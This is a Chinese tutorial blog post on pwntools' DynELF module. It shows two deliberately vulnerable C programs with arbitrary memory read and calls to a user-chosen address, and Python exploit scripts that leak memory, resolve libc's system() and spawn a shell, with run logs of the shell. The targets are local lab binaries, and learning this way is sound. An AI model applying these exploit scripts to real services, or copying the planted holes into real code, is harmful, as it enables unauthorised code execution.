pwntools DynELF 功能笔记

在没有目标系统libc文件的情况下,我们可以使用pwntools的DynELF模块来泄漏地址信息,从而获取到shell。

脚本、二进制程序、源码下载:http://file.eonew.cn/elf/DynELF.zip

介绍

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其中最主要的还是leak函数的编写规则,该函数要求传入内存地址之后返回该内存地址储存的值。

def leak(address):
    sh.sendline(str(address))
    result = sh.recv()
    return result

下面本人会用一个简单的例子演示一下,光说不练是很难理解的。

源码 leak.c

// compiled: gcc -Og -no-pie -o leak_x64 leak.c
// compiled: gcc -Og -no-pie -o leak_x86 leak.c -m32
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char option;
    unsigned long long addr;
    int (*func)(char *str);

    while (1)
    {
        scanf("%c", &option);

        switch (option)
        {
        case '1':
            scanf("%llu", &addr);
            fwrite((void *)addr, sizeof(void *), 1, stdout);
            fflush(stdout);
            break;
        case '2':
            scanf("%llu", (unsigned long long *)&func);
            func("/bin/bash");
            break;
        case '3':
            exit(0);
            break;
        default:
            break;
        }
    }

    return 0;
}

程序非常简单,1是任意读,2是执行输入的地址。

脚本

对应的leak脚本:

#! /usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

file_path = './leak_x86'
# file_path = './leak_x64'
sh = process(file_path)
# context.log_level = "debug"

def leak(address):
    sh.sendline('1')
    sh.sendline(str(address))
    result = sh.recv()
    return result

libc = DynELF(leak, elf=ELF(file_path))

system_addr = libc.lookup('system', 'libc')
log.success('system_addr: ' + hex(system_addr))

sh.sendline('2')
sh.sendline(str(system_addr))

sh.interactive()

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './leak_x64': Done
[*] '/home/ex/test/leak_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Loading from '/home/ex/test/leak_x64': 0x7f19d1b2c170
[+] Resolving 'system' in 'libc.so': 0x7f19d1b2c170
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[*] Magic did not match
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0x7f19d18fcbe0
[*] Found DT_STRTAB at 0x7f19d18fcbf0
[*] Found DT_SYMTAB at 0x7f19d18fcc00
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
[+] system_addr: 0x7f19d1561440
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ 
[*] Interrupted
[*] Stopped program './leak_x64'
ex@Ex:~/test$ ./exp.py 
[+] Starting local process './leak_x86': Done
[*] '/home/ex/test/leak_x86'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Loading from '/home/ex/test/leak_x86': 0xf7f05940
[+] Resolving 'system' in 'libc.so': 0xf7f05940
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[*] Trying lookup based on Build ID: 0e188ec5f09c187a7a92784d4b97aa251b15a93c
[*] Downloading data from GitHub
[-] Downloading 'https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/0e188ec5f09c187a7a92784d4b97aa251b15a93c': Got code 404
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0xf7eb5d9c
[*] Found DT_STRTAB at 0xf7eb5da4
[*] Found DT_SYMTAB at 0xf7eb5dac
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
[+] system_addr: 0xf7d1b200
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ 
[*] Interrupted
[*] Stopped program './leak_x86'

PIE leak

对于有pie保护的程序来说,只要我们能知道程序的基地址,一样可以进行leak,下面举个例子

leak_pie.c

// compiled: gcc -Og -o leak_pie_x64 leak_pie.c
#include <stdio.h>
#include <stdlib.h>

// 用于确定偏移,这个是依据已经编译好的文件而确定的
unsigned long long global_offset = 0x201010;

int main()
{
    char option;
    unsigned long long addr;
    int (*func)(char *str);
    printf("Image base: %llu\n", 
            (unsigned long long)&global_offset - global_offset);

    while (1)
    {
        scanf("%c", &option);

        switch (option)
        {
        case '1':
            scanf("%llu", &addr);
            fwrite((void *)addr, sizeof(void *), 1, stdout);
            fflush(stdout);
            break;
        case '2':
            scanf("%llu", (unsigned long long *)&func);
            func("/bin/bash");
            break;
        case '3':
            exit(0);
            break;
        default:
            break;
        }
    }

    return 0;
}

程序功能很简单,大部分代码和上面的leak.c都是一样的,就是开始的时候程序会告诉你镜像基地址,这样就不用你自己去找漏洞了。

这里我特别提一下,为了方便计算,0x201010的值是依据已经编译好的文件确定的,也就是说如果您需要重新编译的话,该值是会变动的,则您需要自行更改该值。

对应脚本

#! /usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

file_path = './leak_pie_x64'
sh = process(file_path)
# context.log_level = "debug"

def leak(address):
    sh.sendline('1')
    sh.sendline(str(address))
    result = sh.recv()
    return result

result = sh.recv()
index = result.rfind(' ')
image_base = int(result[index: ])
log.success('image_base: ' + hex(image_base))

libc = DynELF(leak, image_base)

system_addr = libc.lookup('system', 'libc')
log.success('system_addr: ' + hex(system_addr))

sh.sendline('2')
sh.sendline(str(system_addr))

sh.interactive()

运行实例

ex@Ex:~/test/DynELF$ ./exp_pie.py 
[+] Starting local process './leak_pie_x64': Done
[+] image_base: 0x56192b56b000
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[+] Resolving 'system' in 'libc.so': 0x7f88e6284170
[*] Magic did not match
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0x7f88e6054be0
[*] Found DT_STRTAB at 0x7f88e6054bf0
[*] Found DT_SYMTAB at 0x7f88e6054c00
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
[+] system_addr: 0x7f88e5cb9440
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)

总结

这个很早就看过,但是写这篇文章还是花了挺长时间的,主要是用的少,所以在这里做个笔记,为了预防自己又忘记了。